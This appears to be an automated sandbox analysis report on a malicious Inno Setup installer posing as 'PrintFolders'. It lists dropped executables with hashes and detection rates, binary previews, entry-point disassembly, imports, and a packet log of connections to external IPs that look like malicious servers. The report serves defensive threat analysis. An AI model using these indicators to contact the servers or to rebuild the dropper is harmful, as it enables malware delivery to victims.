                                                        Preview:ITSF....`..................|.{.......".....|.{......."..`...............x.......T.......................U...............ITSP....T...........................................j..].!......."..T...............PMGL................./..../#IDXHDR......./#ITBITS..../#STRINGS...>.../#SYSTEM..V.../#TOPICS....`./#URLSTR...Gw./#URLTBL....H./#WINDOWS.....D./$FIftiMain...g..8./$OBJINST...T.../author.htm...m.<./cmdline.htm...O.../ctxmenu.jpg...3..B./index.htm..'.y./interface.htm.. .^./logo.jpg...P..4./main.css...u.../PrintDir.hhc...).'./screenshot.jpg.....././shell.htm...~.Q.::DataSpace/NameList..<(::DataSpace/Storage/MSCompressed/Content..[...,::DataSpace/Storage/MSCompressed/ControlData.j.)::DataSpace/Storage/MSCompressed/SpanInfo.b./::DataSpace/Storage/MSCompressed/Transform/List.<&_::DataSpace/Storage/MSCompressed/Transform/{7FC28940-9D31-11D0-9B27-00A0C91E9C7C}/InstanceData/...i::DataSpace/Storage/MSCompressed/Transform/{7FC28940-9D31-11D0-9B27-00A0C91E9C7C}/InstanceData/ResetTable...P...........
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:InnoSetup Log PrintFolders {73D78C7A-78F2-476F-86FF-9025EA410908}, version 0x2a, 3814 bytes, 992547\user, "C:\Program Files (x86)\PrintFolders"
                                                        Category:dropped
                                                        Size (bytes):3814
                                                        Entropy (8bit):4.500239612277464
                                                        Encrypted:false
                                                        SSDEEP:48:l9wHkIyMHLBv8iD86plmE6FoIN0hqkLVO3471qV/LDa0zA47brL1XL8:YH/rp8iD86p45oIyhqYOIh0N4
                                                        MD5:291A7BCB6ABED2EE25A0F6CE3C60CA4D
                                                        SHA1:3A4A06AEB5135CBBD1C6CF5458DE7C94588B7C2C
                                                        SHA-256:2173DEEC6F1D8FB321D0DB399F48A825CA8D38A02DC71396315F49A239ABD03C
                                                        SHA-512:2A0C3456D7E9E74148D342121EE1D13994314B8AE744A41BD5DDC9C8B2A4ECB252665177AC4B2F0CBA79DB42A7A26D4BAEA6CE5545454EC408819EA9549E027D
                                                        Malicious:false
                                                        Preview:Inno Setup Uninstall Log (b)....................................{73D78C7A-78F2-476F-86FF-9025EA410908}}.........................................................................................PrintFolders....................................................................................................................*...........%.................................................................................................................d>...........X......D....992547.user#C:\Program Files (x86)\PrintFolders.................. ..........Q.IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..'...dll:kernel32.dll.CreateFileA.............#...dll:kernel32.dll.WriteFile...........!...dll:kernel32.dll.CloseHandle.......!...dll:kernel32.dll.ExitProcess.......$...dll:User32.dll.GetSystemMe
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):669450
                                                        Entropy (8bit):6.478399502986981
                                                        Encrypted:false
                                                        SSDEEP:12288:2h5UooqWolrP837JzHvA6izJgnnyFNmayiAZrvJxOx:M5NoqWolrP837JzHvA6yknyWFxvJxOx
                                                        MD5:CF680B53729F6E3059183D51F91D337D
                                                        SHA1:4D6EB765BB4837F09283101490375DF5F68C8E37
                                                        SHA-256:A3F8C832C69388A88E47DD8B612382F74D5131E8C710741EFB2410EC450BDF2D
                                                        SHA-512:1F59A9A03485DFDB9E232F0D8B52CD864993FC25734E16DD2160190045626531685E81BDBCF0636EBA9F7CEDA9DA082A9AAD2DD4C5BFE165110731B7F89FCA51
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 2%
                                                        Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................d......t.............@..............................................@..............................$%......P+...................@...............................0......................................................CODE................................ ..`DATA................................@...BSS.....x................................idata..$%.......&..................@....tls......... ...........................rdata.......0......................@..P.reloc.......@......................@..P.rsrc...P+.......,..................@..P....................................@..P........................................................................................................................................
                                                        Process:C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):94224
                                                        Entropy (8bit):7.998072640845361
                                                        Encrypted:true
                                                        SSDEEP:1536:NsbI9W6dHdtnEXOxZpPzIUcETzNtXofjmgGTeJduLLt+YBPoJTMRmNXg30:KWW6TZVz9PNtXo8M5OR0
                                                        MD5:418619EA97671304AF80EC60F5A50B62
                                                        SHA1:F11DCD709BDE2FC86EBBCCD66E1CE68A8A3F9CB6
                                                        SHA-256:EB7ECE66C14849064F462DF4987D6D59073D812C44D81568429614581106E0F4
                                                        SHA-512:F2E1AE47B5B0A5D3DD22DD6339E15FEE3D7F04EF03917AE2A7686E73E9F06FB95C8008038C018939BB9925F395D765C9690BF7874DC5E90BC2F77C1E730D3A00
                                                        Malicious:false
                                                        Preview:...mi...};...F".).T..'K;....O.Y0:.....3j.\.Ij.2R.P....C...q.|.2.....iR2W.F.C=MU......H6...A.....@..O.c...M.x8...L..- ..b..|.C...Z}.w...l.a.aT...br,...6w#.j.P.li.=......o.......S.{..R........5....#;....-....b+..G(.>..Q.....iN{.+y...ZC.z3sE...T..2.J...3.9U.4&..P......."wI.....@....x%>..D..'z.^....^(.....NC.[[k..........V]G..)e.....`.......K/L.Ul..F.."..8$.Ad....:i.g..0.d...[...T"l.U.M.=.0...,..,.ku.W,.....7`Q.Fi=w...u..:..Q-.R.}0...L.....n...t.nv.....z....e..I.C.....9.V.~1+[]..7...xQ........$.L..o.eQ./.b..Z......p].;i*)...#.b...%1........@...G..[......./.c.Z......G.:..n..E.i.O..o.U.B.Px....1{,a.....#k.dj..L4...}.d<......Iyy.J..f.W..,^vV.Ao.K."+OX8!F...YP...u.-..Bik.[.u...&Wt..P...m....^ ..k~.....l..o.zMV.!s..h...{.n2;z...K..?S..-...eW...c.....-V.bg..9.I..g.x.g...}.'.5..(*P...J#..:.IS..D}.v......jK9.LQF...oOhV...).h.v^-..F...<.....Vh.1....!...!...BYc..C?..D2.....2.K(..6....B....D..ay..=|....'....[1.~.YB:./...A`...=..F..K...........
                                                        Process:C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        File Type:very short file (no magic)
                                                        Category:dropped
                                                        Size (bytes):1
                                                        Entropy (8bit):0.0
                                                        Encrypted:false
                                                        SSDEEP:3:V:V
                                                        MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                        SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                        SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                        SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                        Malicious:false
                                                        Preview:0
                                                        Process:C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        File Type:very short file (no magic)
                                                        Category:dropped
                                                        Size (bytes):1
                                                        Entropy (8bit):0.0
                                                        Encrypted:false
                                                        SSDEEP:3:V:V
                                                        MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                        SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                        SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                        SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                        Malicious:false
                                                        Preview:0
                                                        Process:C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        File Type:very short file (no magic)
                                                        Category:dropped
                                                        Size (bytes):1
                                                        Entropy (8bit):0.0
                                                        Encrypted:false
                                                        SSDEEP:3:V:V
                                                        MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                        SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                        SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                        SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                        Malicious:false
                                                        Preview:0
                                                        Process:C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):17
                                                        Entropy (8bit):3.1751231351134614
                                                        Encrypted:false
                                                        SSDEEP:3:nCmxEl:Cmc
                                                        MD5:064DB2A4C3D31A4DC6AA2538F3FE7377
                                                        SHA1:8F877AE1873C88076D854425221E352CA4178DFA
                                                        SHA-256:0A3EC2C4FC062D561F0DC989C6699E06FFF850BBDA7923F14F26135EF42107C0
                                                        SHA-512:CA94BC1338FC283C3E5C427065C29BA32C5A12170782E18AA0292722826C5CB4C3B29A5134464FFEB67A77CD85D8E15715C17A049B7AD4E2C890E97385751BEE
                                                        Malicious:false
                                                        Preview:UwUoooIIrwgh24uuU
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):2560
                                                        Entropy (8bit):2.8818118453929262
                                                        Encrypted:false
                                                        SSDEEP:24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
                                                        MD5:A69559718AB506675E907FE49DEB71E9
                                                        SHA1:BC8F404FFDB1960B50C12FF9413C893B56F2E36F
                                                        SHA-256:2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
                                                        SHA-512:E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 2%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32+ executable (console) x86-64, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):4608
                                                        Entropy (8bit):4.226829458093667
                                                        Encrypted:false
                                                        SSDEEP:48:6Q5EWGg69eR+Xl4SH8u09tmRJ/tE/wJI/tZ/P8sB1a:32Gel4NP9tK2/wGXhHa
                                                        MD5:9E5BA8A0DB2AE3A955BEE397534D535D
                                                        SHA1:EF08EF5FAC94F42C276E64765759F8BC71BF88CB
                                                        SHA-256:08D2876741F4FD5EDFAE20054081CEF03E41C458AB1C5BBF095A288FA93627FA
                                                        SHA-512:229A9C66080D59B7D2E1E651CFF9F00DB0CBDC08703E60D645651AF0664520CA143B088C71AD73813A500A33B48C63CA1795E2162B7620453935A4C26DB96B21
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........o4...g...g...g).zg...g...g...g.&lg...g.&yg...gRich...g........PE..d...9TTB..........#...........................@..............................P...............................................................!..x............@..H.................................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...,....0......................@....pdata..H....@......................@..@................................................................................................................................................................................................................................................................................................................................................................................................
                                                        Process:C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp
                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                        Category:dropped
                                                        Size (bytes):23312
                                                        Entropy (8bit):4.596242908851566
                                                        Encrypted:false
                                                        SSDEEP:384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
                                                        MD5:92DC6EF532FBB4A5C3201469A5B5EB63
                                                        SHA1:3E89FF837147C16B4E41C30D6C796374E0B8E62C
                                                        SHA-256:9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
                                                        SHA-512:9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
                                                        Malicious:false
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 2%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                        Process:C:\Users\user\Desktop\file.exe
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):658944
                                                        Entropy (8bit):6.468629759056718
                                                        Encrypted:false
                                                        SSDEEP:12288:Oh5UooqWolrP837JzHvA6izJgnnyFNmayiAZrvJxO0:05NoqWolrP837JzHvA6yknyWFxvJxO0
                                                        MD5:85B94E72C3F2D2B5464E2AAF3C9E242A
                                                        SHA1:CE7CCAE5F50A990D059D59292D4A332979E162BA
                                                        SHA-256:1441464FEEEF365573AF18802C464769B7D3107624FDE24604F57E386F97F1A7
                                                        SHA-512:C0C27189989DB482BE9BDA5B6B8B1441BDC5E9B0F3A414CCAB4C4BE516E7F99E25717845361A5B196114502FAAAF21BEC7ACA91B497ACD2E2396F49C31850880
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 4%
                                                        Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................d......t.............@..............................................@..............................$%......P+...................@...............................0......................................................CODE................................ ..`DATA................................@...BSS.....x................................idata..$%.......&..................@....tls......... ...........................rdata.......0......................@..P.reloc.......@......................@..P.rsrc...P+.......,..................@..P....................................@..P........................................................................................................................................
                                                        Process:C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):73728
                                                        Entropy (8bit):6.20389308045717
                                                        Encrypted:false
                                                        SSDEEP:1536:bvUpDLxyxA14o3/M238r6+XfHAgbqmE8MpKdwuasZLUM7DsWlXcdyZgfmi:WDLZKa/MtXfHAgbqmEtxsfmyZgfmi
                                                        MD5:3FB36CB0B7172E5298D2992D42984D06
                                                        SHA1:439827777DF4A337CBB9FA4A4640D0D3FA1738B7
                                                        SHA-256:27AE813CEFF8AA56E9FA68C8E50BB1C6C4A01636015EAC4BD8BF444AFB7020D6
                                                        SHA-512:6B39CB32D77200209A25080AC92BC71B1F468E2946B651023793F3585EE6034ADC70924DBD751CF4A51B5E71377854F1AB43C2DD287D4837E7B544FF886F470C
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 46%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................................................................9...........Rich............................PE..L....,?c.....................~......_.............@..........................`............@.....................................(....@.......................P..........8...............................@............................................text............................... ..`.rdata..dY.......Z..................@..@.data........ ......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................
                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows, InnoSetup self-extracting archive
                                                        Entropy (8bit):7.988856468769687
                                                        TrID:
                                                        • Win32 Executable (generic) a (10002005/4) 98.88%
                                                        • Inno Setup installer (109748/4) 1.08%
                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                        • DOS Executable Generic (2002/1) 0.02%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:file.exe
                                                        File size:1313965
                                                        MD5:7e8888d098d8af9b7f7d1a39ff7666a4
                                                        SHA1:3301535903ea09ddc389f1fc3d67fd45e8215526
                                                        SHA256:64bbb72159a4bdfd522ae703ee76a1c63e8ca6ba297cb2ee8634357909a50738
                                                        SHA512:d896c61e8d870106463838f3473fdab55db7e1a4c1f82b35aa16b91649cf13ea6154d43566c6792ab1be09bf74d3f2c607524fced8b4c1342e7b54103805a499
                                                        SSDEEP:24576:1izohkTpLnjwSsQiJJk/w2m+tZWQ3hU+Z3i/NA7O8gZIY7eCLxYi2:eQkTpLjVsTWWnk36NA7ENeVi2
                                                        TLSH:D2553307F3A664B0E02106776C439A5496A3FE271D307620F7EC3FE8AD5B5A0965F722
                                                        File Content Preview:MZP.....................@.......................Inno....z...............!..L.!..This program must be run under Win32..$7.......................................................................................................................................
                                                        Icon Hash:a2a0b496b2caca72
                                                        Entrypoint:0x40968c
                                                        Entrypoint Section:CODE
                                                        Digitally signed:false
                                                        Imagebase:0x400000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                                                        DLL Characteristics:
                                                        Time Stamp:0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:1
                                                        OS Version Minor:0
                                                        File Version Major:1
                                                        File Version Minor:0
                                                        Subsystem Version Major:1
                                                        Subsystem Version Minor:0
                                                        Import Hash:da86ff6d22d7419ae7f10724a403dffd
                                                        Instruction
                                                        push ebp
                                                        mov ebp, esp
                                                        add esp, FFFFFFD4h
                                                        push ebx
                                                        push esi
                                                        push edi
                                                        xor eax, eax
                                                        mov dword ptr [ebp-10h], eax
                                                        mov dword ptr [ebp-1Ch], eax
                                                        call 00007F0298645C3Fh
                                                        call 00007F0298646EEAh
                                                        call 00007F02986490DDh
                                                        call 00007F0298649124h
                                                        call 00007F029864B673h
                                                        call 00007F029864B762h
                                                        mov esi, 0040BDE0h
                                                        xor eax, eax
                                                        push ebp
                                                        push 00409D71h
                                                        push dword ptr fs:[eax]
                                                        mov dword ptr fs:[eax], esp
                                                        xor edx, edx
                                                        push ebp
                                                        push 00409D27h
                                                        push dword ptr fs:[edx]
                                                        mov dword ptr fs:[edx], esp
                                                        mov eax, dword ptr [0040B014h]
                                                        call 00007F029864C0EFh
                                                        call 00007F029864BCAEh
                                                        lea edx, dword ptr [ebp-10h]
                                                        xor eax, eax
                                                        call 00007F0298649598h
                                                        mov edx, dword ptr [ebp-10h]
                                                        mov eax, 0040BDD4h
                                                        call 00007F0298645CEBh
                                                        push 00000002h
                                                        push 00000000h
                                                        push 00000001h
                                                        mov ecx, dword ptr [0040BDD4h]
                                                        mov dl, 01h
                                                        mov eax, 004070C4h
                                                        call 00007F0298649BFBh
                                                        mov dword ptr [0040BDD8h], eax
                                                        xor edx, edx
                                                        push ebp
                                                        push 00409D05h
                                                        push dword ptr fs:[edx]
                                                        mov dword ptr fs:[edx], esp
                                                        lea edx, dword ptr [ebp-18h]
                                                        mov eax, dword ptr [0040BDD8h]
                                                        call 00007F0298649CD3h
                                                        mov ebx, dword ptr [ebp-18h]
                                                        mov edx, 00000030h
                                                        mov eax, dword ptr [0040BDD8h]
                                                        call 00007F0298649E0Dh
                                                        mov edx, esi
                                                        mov ecx, 0000000Ch
                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xc0000x8c8.idata
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x100000x263c.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0xf0000x0.reloc
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0xe0000x18.rdata
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        CODE0x10000x8e000x8e00False0.6218364876760564data6.600437911517656IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        DATA0xa0000x2480x400False0.3115234375data2.7204325510923035IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        BSS0xb0000xe640x0False0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .idata0xc0000x8c80xa00False0.389453125data4.2507970587946735IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .tls0xd0000x80x0False0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .rdata0xe0000x180x200False0.052734375data0.1991075177871819IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                        .reloc0xf0000x86c0x0False0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                        .rsrc0x100000x263c0x2800False0.322265625data4.568719834340923IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                        NameRVASizeTypeLanguageCountry
                                                        RT_ICON0x1030c0x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishUnited States
                                                        RT_ICON0x104340x568Device independent bitmap graphic, 16 x 32 x 8, image size 320EnglishUnited States
                                                        RT_ICON0x1099c0x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640EnglishUnited States
                                                        RT_ICON0x10c840x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1152EnglishUnited States
                                                        RT_STRING0x1152c0x2f2data
                                                        RT_STRING0x118200x30cdata
                                                        RT_STRING0x11b2c0x2cedata
                                                        RT_STRING0x11dfc0x68data
                                                        RT_STRING0x11e640xb4data
                                                        RT_STRING0x11f180xaedata
                                                        RT_GROUP_ICON0x11fc80x3edataEnglishUnited States
                                                        RT_VERSION0x120080x3a8dataEnglishUnited States
                                                        RT_MANIFEST0x123b00x289XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States
                                                        DLLImport
                                                        kernel32.dllDeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
                                                        user32.dllMessageBoxA
                                                        oleaut32.dllVariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
                                                        advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
                                                        kernel32.dllWriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SetLastError, SetFilePointer, SetEndOfFile, RemoveDirectoryA, ReadFile, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, InterlockedExchange, FormatMessageA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
                                                        user32.dllTranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
                                                        comctl32.dllInitCommonControls
                                                        advapi32.dllAdjustTokenPrivileges
                                                        Language of compilation systemCountry where language is spokenMap
                                                        EnglishUnited States
                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Nov 24, 2022 19:18:06.138360977 CET4970680192.168.2.545.139.105.171
                                                        Nov 24, 2022 19:18:06.166135073 CET804970645.139.105.171192.168.2.5
                                                        Nov 24, 2022 19:18:06.166255951 CET4970680192.168.2.545.139.105.171
                                                        Nov 24, 2022 19:18:06.176034927 CET4970680192.168.2.545.139.105.171
                                                        Nov 24, 2022 19:18:06.203965902 CET804970645.139.105.171192.168.2.5
                                                        Nov 24, 2022 19:18:06.208683968 CET804970645.139.105.171192.168.2.5
                                                        Nov 24, 2022 19:18:06.208781958 CET4970680192.168.2.545.139.105.171
                                                        Nov 24, 2022 19:18:06.352401972 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.380523920 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.380817890 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.381181955 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.408307076 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.408601999 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.408911943 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.442995071 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.470390081 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.470576048 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.470662117 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.470725060 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.470729113 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.470725060 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.470774889 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.470799923 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.470860958 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.470957994 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.470989943 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.471013069 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.471013069 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.471020937 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.471077919 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.471084118 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.471132040 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.471143961 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.471198082 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.471203089 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.471251011 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.498931885 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.498995066 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499037981 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.499037981 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.499053001 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499099970 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499155998 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499238014 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499303102 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499310970 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.499356031 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499358892 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.499385118 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.499411106 CET8049707107.182.129.235192.168.2.5
